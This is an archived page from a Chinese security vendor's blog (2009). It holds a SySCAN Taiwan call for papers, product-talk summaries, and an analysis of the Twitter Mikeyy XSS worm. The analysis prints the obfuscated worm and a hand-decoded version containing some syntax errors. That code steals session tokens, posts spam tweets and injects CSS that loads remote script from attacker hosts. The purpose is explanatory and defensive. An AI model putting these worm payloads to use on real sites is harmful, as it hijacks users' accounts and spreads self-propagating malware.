阿碼外傳-阿碼科技非官方中文 Blog: 04/01/2009 - 05/01/2009

2009年4月30日

SySCAN Hack Day「駭翻天」徵求講師

(轉貼自:http://syscantaiwan.blogspot.com/2009/05/syscan-hack-day.html

_____ _____ _________ _ __ ______ _
/ ___/__ __/ ___// ____/ | / | / / /_ __/___ _(_) ______ _____
\__ \/ / / /\__ \/ / / /| | / |/ / / / / __ `/ / | /| / / __ `/ __ \
___/ / /_/ /___/ / /___/ ___ |/ /| / / / / /_/ / /| |/ |/ / /_/ / / / /
/____/\__, //____/\____/_/ |_/_/ |_/ /_/ \__,_/_/ |__/|__/\__,_/_/ /_/
/____/
__ __ __ ____ ____ ____
/ / / /___ ______/ /__ / __ \____ ___ __ // / __ \/ __ \
/ /_/ / __ `/ ___/ //_/ / / / / __ `/ / / / // / / / / /_/ /
/ __ / /_/ / /__/ ,< / /_/ / /_/ / /_/ / / /_/ /\__, /
/_/ /_/\__,_/\___/_/|_| /_____/\__,_/\__, / \____//____/
/____/





SySCAN Taiwan Hack Day 2009 call for papers
SySCAN Hack Day「駭翻天」徵求講師
(請大家盡量幫忙轉貼)
今年的SySCAN前瞻資安技術年會,將於七月七日-八日,於台北與各位見面,感謝各界的投稿,今年的講師陣容格外堅強,全都是國際知名資安研究員(大駭客),BlackHat / DEFCON / XSecWest等國際駭客年會的講師,包括了:Dave Aitel(Immunity創辦人兼技術長、多屆BlackHat/DEFCON講師)、Charlie Miller(CanSecWest的Pwn2Own ‘08/’09兩屆冠軍)、Matt Conover(RSA、SANS、CanSecWest)、Stefan Esser(PHP安全第一人)、Justine Osborne(BlackHat、DEFCON)、Marc Schoenfeld(BlackHat)、Fyodor(BlackHat、HITB)、Jeremy Chiu(aka “Birdman”,SySCAN、OWASP)、Wayne Huang(RSA、OWASP、PHP)、Ben Nagy(Infosecurity, Ruxcon)等人,從Web安全,到路徑安全,到PHP核心安全,到虛擬化之安全,到Apple iPhone手機安全,到Google Android手機安全,保證每一場都精彩無比,讓大家接觸最前瞻之資安技術。

去年問卷反應第一的問題,是舉辦的時間希望為假日而非上班時間。但是本會的設計是緊接著SySCAN Singapore,新加坡結束後,講師才飛來台灣,故星期六比較困難,但是星期日是可以的。另一方面,其實有另一群與會者是希望本會在上班時間舉行的,因為視此為教育訓練之一部分,假日反而不方便。另一個多人反應的,是希望有教育訓練。經過多方考量與討論,我們決定將今年的SySCAN延長為四天,分為三部分活動,七月六日(週一)為SySCAN教育訓練日,課程將公佈於部落格與官網(*),七月七日-八日(週二、三)則為「SySCAN前瞻資安技術年會」,七月五日(週日)則首次舉辦「SySCAN Hack Day」(「SySCAN駭翻天」),活動一天,一人600NTD含中午便當與簡單茶水,Dave Aitel將做開場演講,而另外徵求講師,故發佈此call for paper。每位錄取之講師將由大會補助車馬費(Full talk=4000,Turbo talk=2000 NTD),免費參加七月七日-八日之「SySCAN前瞻資安技術年會」,並邀請參加七月七日之講師派對(speaker’s party),與SySCAN其他講師一起慶功,high到最高點!
「SySCAN前瞻資安技術年會」講師亦將到場與所有與會者一起於結束時投票,票選出最佳「Hack Day」講師,將致贈MacBook一台,與「SySCAN Hacker of the Day」獎狀一只,封為「SySCAN年度大駭客」。曾被封為「SySCAN年度大駭客」之講師,往後於會議再度演講時,一律補助車馬費(Full talk=6000,Turbo talk=3000 NTD)。
不論是車馬費、獎狀或MacBook,都是「SySCAN前瞻資安技術年會」之講師所沒有的!另外沒有錄取之前十名遺珠,將可半價參加Hack Day(不會公開姓名)。
報名「SySCAN前瞻資安技術年會」者,則可免費參加「SySCAN Hack Day」。
*最新資訊請見SySCAN前瞻資安技術年會blog:http://syscantaiwan.blogspot.com與SySCAN官網:http://www.syscan.org
*票價部分,七月5日Hack Day一票500NTD,全程三天(七月5日Hack Day,七月7-8日SySCAN Taiwan)共3000NTD,見:http://www.syscan.org/Tpe/registration.html

<<「SySCAN Hack Day」大會風格 >>
資安技術頂尖者,叫做「大駭客」。但是駭客是不破壞的,駭客會遵守負責的弱點揭露程序。「大駭客」技術一流,但是絕對不「黑」。「黑」不是「厲害」的代名詞,「黑」代表的是「不負責」、「犯罪」等行為。SySCAN敬仰大駭客但是鄙視「不負責」與「犯罪」之行為。「黑」很容易,看做不做而已,但是「大駭客」很不容易。我們歡迎各位駭客踴躍投稿!

<< 評審委員 >>
1. Thomas Lim(大會主席), Founder & Orgainser of SySCAN, Founder & CEO of COSEINC
2. Wayne Huang(大會主席), Co-organiser of SySCAN Taiwan, Founder & CEO of Armorize(阿碼科技)
3. Dave Aitel – Founder and CTO of Immunitysec
4. Kuon Ding – Senior Security Researcher of Armorize ASF
5. Matthew “Shok” Conover – Symantec
6. Jack Yu – Senior Security Researcher of Armorize ASF
第一階段先由熟悉中文之評審委員挑出具吸引力之投稿,然後將演講題目與大綱翻譯成英文後,英語系國家之評審委員共同決定最後錄取之講師。每一份投稿皆會收到被拒絕或被接受的原因。沒有錄取之前十名遺珠,將可半價參加Hack Day(不會公開姓名)。

<< 評分方法 >>
1. 內容技術紮實度 30%
2. 主題具前瞻性 20%
3. 講師為好的演講者 20%
4. 內容實用性 20%
5. 主題適合或吸引聽眾 10%

<< 演講種類 >>
演講希望以中文為主,其次為英文
A. Full talk:50 分鐘演講,徵求約四位講師
B. Turbo talk: 15 分鐘演講,徵求約四位講師

<< 重要日期 >>
公佈cfp與開放投稿:2009年五月一日
投稿截止:2009年六月五日或當評審委員覺得已經挑足講師時。所以早投早贏!
公佈錄取者:2009年六月十五日
Hack Day日期:2009年七月五日
前瞻資安技術年會日期:2009年七月七日-八日
講師派對:2009年七月七日晚

<< 投稿方式 >>
請將資料email至:cfp在syscan點org或hackday在armorize點com,主旨請註明:Hack Day 投稿
格式:
A. 姓名或代號:
B. Email:
C. 電話(手機佳):
D. 公司或學校:
E. 投稿種類:1. Full talk,2. Turbo talk
F. 題目:
G. 投稿內容:可以略寫大綱,但是有投影片或其他輔助資料當然更好
H. 是否將在大會上發表免費工具或paper?
I. (此項可免)講師簡歷,包含曾經擔任之講師經驗:

<< 徵求題目 >>
今年特別徵求與「實際經驗」、「事件調查」或「資安鑑識」有關之題目。例如處理資安事件之實際案例與經驗,執行某次資安鑑識時之歷程,調查某資安威脅之經過等。
今年題目包含但不限於以下:
* 各類威脅之研究
* 大規模攻擊(掛馬、轉址、DNS、DDoS…)
* 實際經驗之分享,包括「事件調查或「資安鑑識」等經驗分享
* 作業系統安全(Vista、Linux)
* 行動裝置與嵌入式系統安全(SmartPhones、PDAs、Game Consoles)
* Web 2.0之安全(Web services、PHP / .NET / .asp / .jsp / J2EE / Ruby / Perl / Python)
* Web應用程式安全
* 計算機網路與電信網路之安全(VoIP、3G/3.5G network、IPv6、WLAN/WiFi、GPRS、SS7)
* 新一代技術之安全(Chrome、IE8、Android、iPhone)
* 虛擬化安全
* 惡意程式/Rootkits
* 僵屍網路(BotNets)
* 法律與駭客
* 任何有趣之題目

<< 如何可以投上? >>
現在各國都有很多高水準之駭客年會,但是每個年會之風格卻截然不同,這完全看大會主席之定調,與評審團之組成與希望達成之會議文化。舉例來說,「SySCAN前瞻技術年會」希望提供與會者的是最前瞻的資安攻擊與防禦技術。所以在本年會中,即使某講師投稿了某大廠的超級0-day(零時差漏洞),也不見得會錄取--因為大會的目的不在提供破壞用的工具。此0-day之影響範圍再大,但是非新的漏洞形式、概念、或找到的方法也非利用新的方法,那麼就很難錄取…即使這是一個超級的微軟或linux或Adobe 0-day漏洞,也是一樣。因為SySCAN覺得,這種漏洞或威脅並非新類型,與會者並不會因為聽了這場演講而得到了新的資安知識,只是得知了一個新的打站工具或管道,而這個管道在0-day修復後就沒有價值了。相對的,如果該0-day為新類型之漏洞,或者為新的,往後可能成為重大威脅的漏洞,或者是利用新的方法找出來的漏洞,那麼即使該0-day目前影響範圍有限,還是很可能錄取。當然,SySCAN提倡負責的揭露,所以即使錄取後,也必須評估對方是否來得及在會議舉行前修復完畢等因素。
接下來就讓我們拿這次公佈的評選標準來談吧。

1. 內容技術紮實度 25%。SySCAN是很技術性的會議,所以技術內容之紮實度一定排第一。其實我們覺得在資安領域,其實管理面的挑戰與所需要的知識,一點也不比技術領域低,但是SySCAN是以技術為主的會議,所以首重技術之紮實度。

2. 主題具前瞻性 25%。這對本會太重要了,譬如某講師投稿了一個影響範圍極大的某大廠buffer overflow(緩衝區溢位)0-day,雖然很具話題性與「利用價值」,但是buffer overflow本身並非新型態的攻擊,而該講師也並非利用新的或特殊的方法來找到該漏洞,那麼可能錄取的機率就比較低。另外,什麼是「真的」前瞻性,也很重要。譬如某講師投稿了ARP spoofing / ARP poisoning研究,雖然近幾年ARP spoofing在台灣與大陸發生的案例非常頻繁,中文的資料似乎也不多,但是在資安領域超過十年的人,應該都記得,ARP spoofing / poisoning,是非常古老的攻擊,屬於可以放在教科書中的攻擊類型。由於太簡單,太常用,又用了太久了,所以近年來並沒有太多人願意做這方面的技術文章或演講;雖然近幾年在台灣用得非常頻繁,但是這並不表示這是具前瞻性之技術或威脅—這其實是超過十年並且很基本的手法。但是如果講師注意到,目前很多人其實對ARP spoofing/poisoning有誤解,誤認為是「sniffing的第一步」,而不知ARP是乙太網路上的協定,在骨幹上有很多地方其實並沒有乙太網路,ARP根本派不上用場,但是仍有很多其他sniffing的方式,例如打gre tunnel,玩BGP,弄OSPF,藉由SNMP設定switch,攻擊某些L4/L7加速器等,感染路由器等,而做一個「最新sniffing威脅整理」,那麼就會是具有前瞻性的好演講。

3. 講師為好的演講者 20%。SySCAN不但重視講師的內容,也重視演講的方式與台下的吸收。講師的內容再精彩,演講方式單調,表達不好,或沒有注意台下的反應,一下子講得太快太難,結果台下都睡著了,那就沒有達到吸收的效果。Matt Conover我們就認為在這方面非常有經驗,總是能抓住聽眾的水平,隨之調整速度,並隨時注意台下反應,是很好的講師。此外,講師就像球員一樣,這方面的分數是累積來的,就像網球中,排名前面的球員不用打會外賽,是一樣的道理。如果你很注意自己的表現,每一場都準備得好,講得好,當然你在評審心中的積分就高。如果都沒有講過,也不用擔心,凡是都有第一次,好的會議是很願意給新人機會的。但是如果投上了,一定要好好準備,不然搞砸了一次,下次要上就很難了。練習的時候,可以找朋友聽你試講,並且一定要錄音下來,放回來給自己聽,很有幫助。很多人第一次聽到自己的錄音都說:恩,我錄起來不像我…我講話不像這樣…。No,那個絕對就是你。

4. 內容實用性 10%。如果講的方法非常困難,對於一般人來說,根本不可能有環境來重複該手法,那就不具有實用性了。相對的,如果隨演講提供其他可讓聽眾受惠之資料,如公開免費工具、paper下載等 ,這方面的分數一定高。

5. 主題適合或吸引聽眾 10%。這考慮的是聽眾目前最有興趣的是什麼。假設最近ARP spoofing猖狂,讓很多新人想了解到底什麼是ARP spoofing,那麼一個相關的演講,雖然在「前瞻性」上得分不會高,但是在「吸引聽眾性」上卻是拿高分的。

最後,好的會議一定要投稿,不用怕,因為沒上也沒人知道你有投,況且沒上也並不表示你的研究不好,可能只是與大會今年主題不切合而已。但是好的會議都有好的評審團,回覆時會附上他們的意見,這些意見很具有參考價值。歡迎各位踴躍投稿,我們會場見!

最新資訊請見SySCAN前瞻資安技術年會blog:http://syscantaiwan.blogspot.com與SySCAN官網:http://www.syscan.org

SySCAN Taiwan大會主席 Thomas Lim與Wayne Huang 敬邀
有任何問題歡迎email Thomas(organiser 在syscan點org)或Wayne(wayne在armorize點com)

繼續閱讀全文...

2009年4月27日

全方面的網站防護 - 技術介紹與案例

前言:
阿碼科技將與您分享網站威脅之實務案例與因應,更以「弱點的一生」來詮釋如何最有效地利用阿碼之「網站健診服務包(Armorize AppSec Suite)」中的「程式碼資安檢測(源碼檢測;CodeSecure)」、「網站應用層防火牆(SmartWAF)」、「即時安全監控(HackAlert)」、以及「木馬間諜檢測軟體(Archon Scanner)」等技術,讓企業在有限的資源下,擁有全方位的網站防護。相信透過實戰經驗分享成功案例,阿碼科技一起與您讓駭客無洞可鑽,享受網站安全、顧客安心、歡心獲利!

一、弱點的一生

上圖,很明顯提的是「系統」弱點的一生,這圖以前就常常被拿來說明了,只是是在 IDS、IPS 的時候,你有注意到嗎?所以我把 IPS 的防護作用放進去了, 網路應用程式防火牆 (WAF)的功能與作用是很類似入侵偵測防護(IPS)設備的。


上圖,就是「網站應用程式弱點的一生」,因為網站有包含需求、規畫、開發、測試、上線...的程序,當然,每個階段都有可能造成「弱點」,主要有網站邏輯設計錯誤、網路應用系統安全弱點 (OWASP)、SOP 程序弱點。這邊先針對 SOP 程序弱點舉例說明,網站上線之前應該有需要有一個類似標準作業程序(SOP)的文件,依據此進行網站上線前的一一檢點,確認每個項目都已經完成安全查核,其中應包含一項查核為「HTTP PUT Method」的檢測,做為確認系統無法隨意以 PUT 方式將檔案放入網站上,這通常都是對網站設定管理的不熟悉造成,為了避免相關的疏忽,可以發展一個「網站上線前的安全檢核清單」,避免這類設定不當造成問題。
目前金融產業在網站程式開發的生命周期中,已經是非常注意邏輯問題,以及網站上線的安全檢核清單問題,也累積了相當多的實戰經驗。對於其他產業來說,就必須特別注意整個網站程式開發的生命周期。當然,也有很多人的網站已經上線了,如何快速有效的進行防禦呢?協助您爭取時間進行全面快速有效的弱點修復呢?
最後除了系統、網站弱點,還有其他弱點需要注意嗎?你的 IT 基礎架構、網路架構、資安設備佈署、惡意程式防禦佈署...等,可能都會造成防禦漏洞的,你又該如何面對呢?

二、洞悉 Web 手法威脅

上圖,目前僅列出網站常見的威脅,至於,真正漏洞成因你得深思,可參考先前的一篇文章:「深思網站淪陷背後的意義」。另外有一篇文章也可參考:「網站多久沒健檢,是不是該關心一下了」希望能有幫助。如何洞悉網站威脅呢?由上表可以發現接獲通報來源,沒有一個是 IT 人員自行發現的,所以 IT 人員該如何培養敏感度呢?情報網是否情蒐管道暢通呢?尤其是客服或企業聯繫窗口,經常被人所遺忘的一群,一定要給予相當的資安敏感度才是。
另外,還有一個很重要的,就是地下經濟利益,才是造就威脅的真正成因。地下利益是動機、目的,威脅手法只是其手段,所以這點才是洞悉的關鍵之道。接下來,身為網站管理人或負責人,你得改變思維,到底網站上有哪些東西是有心人士想要的,有心人士會利用各種手段或手法來取的,你該如何因應呢?


上圖,是對於網站瀏覽者的威脅,其中接獲通報來源中有所謂的「網頁信譽評等 (WRS, Web Reputation Services)」,相關軟體可以參考這裡,某些程度這是會是有幫助的一個工具,如果不懂這是啥?哪你真的需要花點時間培養網路資安觀念了。同樣的,思考地下利益為何?你會發現不外乎「木馬、個資及金錢」,無論外在風險、威脅或各種風風雨雨,你應該知道有心人要的是啥了吧!對使用者來說就避免中毒、注意個資、不要用網路做跟金錢有關的事,但,用說的永遠比較容易,如何培養警覺性才是關鍵。

三、實際案例探討
1.密碼復原的邏輯錯誤

相關文章:
2008/10/09 「田納西男子駭進培林的電子信箱」
思考(當成課後問題吧!):問題如何能提早發現?做好準備(案例學習)?你的網站有類似問題嗎?

2.Code的攻防戰
相關文章:
2009/04/19 「為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明」
2009/04/14 「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」
當你的網站遇上難纏的對手時,你該如何處置呢?開發人員也在事件應變處裡的一環了,不是嗎?早期的系統、網路漏洞問題,現在的程式開發漏洞問題,還有使用者警覺性的問題,你準備好了嗎?
思考(課後問題):如何迅速找出有問題的程式碼?有效的修正程式碼?網站改版時該做甚麼?你有記取教訓嗎?對開發流程是否有衝擊?開發人員是否有案例學習討論?你做準備了嗎?

四、成功關鍵
1.產品要有人力技術配合:技術需要扎根,才能有效發揮產品優勢。當然,需要正確有效評估「現有資源」,檢視目前現有人力與資源。
2.產品要融入管理制度:向上管理、對下管理。
3.產品只10%的成本,90%的成本在建立管理與培養人力技術上。
4.您在選的是產品,還是在選服務與技術。

五、打造 Web AP 聯防網(Armorize AppSec Suite)

上圖,是目前阿碼主要產品,相信大家應該不陌生。


上圖,為阿碼產品與技術服務的戰略位置,其中最特別的是「資安技術稽核」,這是因為我們看過太多客戶內部的 IT 基礎架構、網路規劃配置、資安設備佈署、惡意程式防禦佈署...等,都有相當的錯誤觀念存在。舉最簡單的例子,我們在看過許多客戶的 IPS 部署後,還沒有看過正確佈署的,有誰關心您是否正確使用或有效使用產品呢?你的防禦佈署規劃是在疊層架屋嗎?我們會總體檢視,包含「網站架構」、「用戶端管理」、「網路基礎建置」三個面向,找出 IT 的盲點與弱點,提供補強建議。


上圖,是阿碼的ASF對客戶提供的加值服務大類。其中教育訓練,是提供客戶建立技術扎根的管道之一。其中還包含社交工程演練,提供一般使用者能培養電子郵件與上網的警覺性,這可不是用產品或技術就能達到的目標。

後記:
「SecuTech Expo 2009 亞太資安論壇」於04月22~24日在台北南港世貿舉行,有鑑於許多向隅的人,還有中南部無法北上的有心人士,以及無法全場做成筆記者,能夠了解、知悉我們的心得,因此,彙整「亞太資安論壇」上的簡報內容,與大家分享。

繼續閱讀全文...

成功 IT 主管不說的秘密 - 有效面對Web威脅的六個訣竅


成功 IT 主管不說的秘密

前言:
今天的IT主管,是高挑戰性的工作。一方面,來自Web的威脅日益增加,另一方面,經濟不景氣,駭客更用力,而公司卻是預算降低,人手不足。資安投資並非能增加公司業務,在有限的時間、資源與預算下,資安做得好是運氣,且難以具體展現成果,而面對日新月異的攻擊手法,稍有疏忽卻要背負所有的責任。難道這是 IT 主管的宿命嗎?當然不是,只是成功的 IT 主管很少分享他們的秘訣。成功的IT主管能在有限資源下,充分掌握威脅面貌,減少不必要投資,有效降低資安風險,在需要時,與上級有效溝通取得資源,並選擇好的廠商,購買正確的產品或服務。資安威脅目前已經普遍受到公司高層主管重視,抓到訣竅的IT主管往往能快速得到認同,成為紅人。這個演講將用世界知名 CIO/CSO 實際的例子,舉出六個訣竅,說明這些成功的 IT 主管是如何瞭解威脅,與上級溝通,如何選對產品或廠商,如何在威脅中仍能高枕無憂,甚至步步高升?

一、洞悉 Web 威脅的宏觀挑戰

當網站開發完成,一旦對外開放的哪一刻開始,就無法拒絕任何人的任意輸入,如「神農大帝嚐百草,即使毒藥也得吃」,然神農大帝有神農氏一族,有目標、有系統、有管理的運作,你是單槍匹馬嗎?更甚者,一旦網站進一步成為幫兇,傷及網站瀏覽者,影響商譽甚鉅。而「漏洞修補」的方式也因開發團隊、語言系統、攻擊手法有不同因應方式,是否確實、有效、完整的修補也是一大課題。至於洞悉 Web 威脅,我們另外一場有深入剖析。

二、正確有效善用 「現有資源」
1.最少投資,最大效益

了解 Web AP 弱點有其「難易度」與「輕重緩急」,「修補」與「防護」之間如何拿捏運用?以解「燃眉之急」!

體察修補漏洞「收斂」與「歸納」的重要性,最短時間達到最大效益。

2.現狀處境、現有資源的相互應用

人力(內外部)、時間、預算與技術方案,「完整化」所有弱點的發現。

三、向上管理,體察君意、謀得資源!
1.對上用「維持資安水平」,「不要發生資安事故」的同理心,方能爭取「所需資源」。
2.避免陷入「功能面」單純比較,兼顧「管理面」、「操作面」與「技術面」。
3.避免陷入「大廠背書」迷失。

四、對下管理,同仇敵愾!
1.Web 安全方案 vs 打破藩籬:網路、系統、開發、資安如何分工?要談分工,就必須知道問題出在哪裡?
2.Web 安全方案 vs 組織抗拒:資安非其事,何故惹塵埃?
3.槍口「一致」對外(駭客):要塑造「保護網站」等同「保家衛民」,面對「艱難」任務,「共同」責任重大。並是適度利用「獎賞制度」讓「小兵願意立大功」,「全員皆兵,全面備戰」。
4.鼓勵資安為「生涯規劃」第二專長:強化資安教育訓練,如 Web 應用程式攻擊趨勢、修補改善、Secure Coding、應變鑑識、資安認證...等方式,培養資安專才。網路、系統、開發、資安本一家,內部輪調有必要,也能使同仁不會有過度的主觀意識。

五、「嚴選」Web AP 安全 合作夥伴

阿碼是原廠,有產品技術的優勢,也提供滲透測試服務,對於網站攻與防有專業能力。阿碼的原廠技術都在台灣,就在南港軟體園區,而我們團隊來自世界各地,能說中英文,提供在地的即時的技術服務。阿碼也提供事件應變處理協助,但我們卻不喜歡這樣的接觸狀況,因為,這個時候已經是事後了,但我們仍會解決客戶問題,並給予正確的忠墾建議與防範觀念。也因為這些接觸我們也有機會接觸到最新的攻擊手法、威脅,且我們更關注在地的重大威脅狀況,或全球注目的重大攻擊事件,提供最新的攻擊分析說明,看我們的 Blog 就可以說明一切了。

六、實務導入「Web 資安生命週期」各階段之 制度、流程與技術

這點當然是阿碼的強項,但阿碼不只有懂網站的攻防,我們也懂惡意程式。別忘了我們的「木馬間諜檢測軟體(Archon Scanner)」,透過行為痕跡偵測來分析電腦健康狀態的檢定工具。

後記:
「SecuTech Expo 2009 亞太資安論壇」於04月22~24日在台北南港世貿舉行,有鑑於許多向隅的人,還有中南部無法北上的有心人士,以及無法全場做成筆記者,能夠了解、知悉我們的成果分享,因此,在這彙整「亞太資安論壇」上的簡報內容。阿碼科技的 ASF 團隊(Armorize Special Forces)在協助多家企業客戶成功導入產品、建立管理制度、傳授人力技術...等過程中,一起共同努力克服重大問題的關鍵時刻,不斷磨合學習而來,在歸納整理心訣後,在此與大家一同分享。

繼續閱讀全文...

2009年4月19日

為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明

Mikeyy mikeyy one more time...oops, I did it again...

經過一個星期,Mikeyy蠕蟲發威了五次,twitter也號稱將所有相關的XSS(跨網站腳本)漏洞都修復了。結果昨天Mikeyy再度發威,twitter也再度公佈,並在幾小時候宣布已經修補漏洞。沒想到18小時後,Mikeyy又重現,twitter也又趕快公佈並著手處理...(見上圖。)

這次蠕蟲來的猛,幾個小時內發出超過一萬五千封假tweet訊息:


難道說這麼簡單到不行的twitter介面,在經過一個星期後,還是無法正確修補XSS(跨網站腳本)漏洞?不...會...吧?事實上也是這樣,六代跟一至五代的XSS攻擊字串不同,證明了twitter的修補方法都是錯的,我們這邊就藉此實例來說明,為何XSS(跨網站腳本)那麼難修補?

這次的蠕蟲放在:hxxp://runebash.net/xss.js,有經過一層的混碼(obfuscation):

var _0xe2ec=["\x4D\x73\x78\x6D\x6C\x32\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x4D\x69\x63\x72\x6F\x73\x6F\x66\x74\x2E\x58\x4D\x4C\x48\x54\x54\x50","\x63\x6F\x6E\x6E\x65\x63\x74","\x74\x6F\x55\x70\x70\x65\x72\x43\x61\x73\x65","\x47\x45\x54","\x3F","\x6F\x70\x65\x6E","","\x4D\x65\x74\x68\x6F\x64","\x50\x4F\x53\x54\x20","\x20\x48\x54\x54\x50\x2F\x31\x2E\x31","\x73\x65\x74\x52\x65\x71\x75\x65\x73\x74\x48\x65\x61\x64\x65\x72","\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x73\x65\x6E\x64","\x73\x70\x6C\x69\x74","\x6A\x6F\x69\x6E","\x27","\x25\x32\x37","\x28

Google了半天,竟然沒有人貼出解碼後的版本(連解碼前之以上版本都找不到),真是苦命,都沒人想研究嗎?只好自己手動解一下:

function wait() {
var content = document.documentElement.innerHTML;
var tmp_cookie=document.cookie;
var tmp_posted=tmp_cookie.match(/posted/);
authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken=authreg.exec(content);
var authtoken=authtoken[1];
var randomUpdate= new Array();
randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";
randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm http://bit.ly/XvuJe";
randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";

var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
var updateEncode=urlencode(randomUpdate[genRand]);

var ajaxConn= new XHConn();
ajaxConn.connect("/status/update","POST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
var _0xf81bx1c="Mikeyy";
var updateEncode=urlencode(_0xf81bx1c);
var ajaxConn1= new XHConn();
ajaxConn1.connect("/account/settings","POST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
var XSS=urlencode(genXSS);
var ajaxConn2= new XHConn();
ajaxConn2.connect("/account/profile_settings",""POST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");

} ;
setTimeout(wait(),5250);

重點在第34行,也就是這次攻擊的字串:
var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";

恩,沒錯,字串中沒有「<」或「>」或「"」等字元,當然也沒有「<script>」或「<script src=」等字串,但是還是有效達成XSS(跨網站腳本)的效果。

我們看一下被感染後使用者的原始HTML(節錄):

ul.sidebar-menu li.active a {
font-weight: bold;
color: #341957;
background-color: #000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333;
}

恩,沒錯,這樣子就足夠讓xss.js執行起來並感染使用者了。一至五代的攻擊字串如下,其中就帶有「<script>」字串:
var xss = urlencode('http://www.stalkdaily.com"></a><script src="http://mikeyylolz.uuuq.com/x.js"></script><a '); 

有效防範XSS之難處在於,每個網站的架構之不同,可能造成多層的字串編解碼步驟,所以如何有效處理外來(不安全)的字串,因各網站而異,開發人員需要充分了解XSS的原理,才能有效避免。這個題目太大,晚上就要上飛機到RSA參展,目前無法寫太多,但是簡而言之,應盡量避免黑名單之使用,而採用白名單(比較資料型態,長度,合法性等)。以twitter的例子,twitter就是認為以黑名單方式過濾掉「<」或「>」或「"」等字元,就可以避免XSS了,但是當然不是這樣子,以這次六代的攻擊字串為例,其中並無包含任何以上字元,然而還是能有效執行並攻擊成功。XSS攻擊字串的設計很多,其中RSnake(ha.ckers.orgsla.ckers.org,OWASP有來台灣)的「XSS (Cross Site Scripting) Cheat Sheet」整理得很完整,可以參考。

為何說twitter是用黑名單方式?其實之前就測出來了,也有人通知,但是可能email都進垃圾信了,才會又讓Mikeyy捲土重來。其實不用測試,twitter的API手冊上,早就自己承認了:

手冊上直接說:為了避免cross-site scripting漏洞,「<」與「>」會經過編碼...這個在駭客的眼裡,其實是說:我很有可能有XSS漏洞,快來打我。黑名單絕對不是有效防止XSS(跨網站腳本)的方法。這是因為在很多情況下,是不需要「<」與「>」,甚至「"」等字元,就可以攻擊成功的。

在問題終於排除後,twitter再次宣布「問題已經控制住了(under control)」。但是這已經是twitter第四次保證「控制住了」。會不會再發生呢?



作者 Wayne 為阿碼科技CEO

後記一:因為這次網路上似乎都沒有人公開攻擊碼,剛才寫信給RSnake(ha.ckers.orgsla.ckers.org),他收錄在ha.ckers.org的「XSS蠕蟲專區」--於來還有這一區,看一下上面從Samy一路下來到都有收錄,幫他推一下,想研究XSS蠕蟲看這:http://sla.ckers.org/forum/read.php?2,14477

後記二:有朋友寫信來問,我才發現這系列幾篇中都忘記提了:注意攻擊方式是用「Post」非「Get」,很久以前的傳說:【使用「Post」非「Get」,就可以避免XSS】...當然一直都只是傳說。

相關文章:
2009/04/19 「為何XSS(跨網站腳本)漏洞難改?以twitter Mikeyy六代蠕蟲說明」(本篇)
2009/04/14 「漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節」
2009/04/12 「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」


繼續閱讀全文...

2009年4月14日

漏洞修補不完,Twitter 蠕蟲五度發威:詳探 Mikeyy (StalkDaily) 蠕蟲一代至五代細節

(閱讀本文之前請先閱讀「17歲少年:twitter XSS worm「stalkdaily worm」蠕蟲是我做的」)
在前幾波的Mikeyy蠕蟲攻擊結束後,平靜了不到一天,昨晚twitter上又出現第四代Mikeyy蠕蟲,twitter官網上宣布後,經過三小時努力,終於有效修改XSS跨網站(跨站腳本攻擊),停止了蠕蟲的散播。
上圖中,twitter先宣布:「謝謝各位的訊息,我們也知道第四代,並正努力解決問題」。三小時後,終於宣布:「我們相信情況已經控制住了,謝謝各位的耐心,我們會持續關注Mikeyy」。

